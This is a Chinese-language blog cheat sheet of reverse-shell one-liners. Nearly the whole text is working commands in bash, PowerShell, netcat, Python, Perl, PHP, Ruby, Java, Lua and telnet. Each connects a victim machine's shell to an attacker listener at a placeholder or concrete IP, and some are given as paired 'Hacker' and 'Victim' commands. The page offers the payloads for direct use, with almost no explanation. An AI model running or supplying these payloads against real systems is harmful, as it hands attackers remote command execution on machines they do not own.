各种反弹Shell姿势总结 - WileySec's Blog

各种反弹Shell姿势总结

本文章主要记录各种反弹shell的姿势


Feature


Bash反弹

bash -i >&/dev/tcp/{ip}/{port} 0>& 1

PowerShell反弹

powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

NC反弹

nc -e /bin/sh {ip} {port}
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

Python反弹

python -c 'import socket,
subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl反弹

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP反弹

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby反弹

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Lua反弹

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

其他姿势反弹

nc不使用-e参数反弹shell

Hacker:nc -lvnp listenport
Victim:mknod /tmp/backpipe p
Victim:/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

不使用nc反弹shell

Method 1:
Hacker: nc -nvlpp 8080
Victim: /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
Method 2:
Hacker: nc -nvlpp8080
Victim: mknod backpipe p && telnet 173.214.173.151 8080 0backpipe
Method 3:
Hacker: nc -nvlpp8080
Hacker: nc -nvlpp8888
Victim: telnet 173.214.173.151 8080 | /bin/bash | telnet 173.214.173.151 8888

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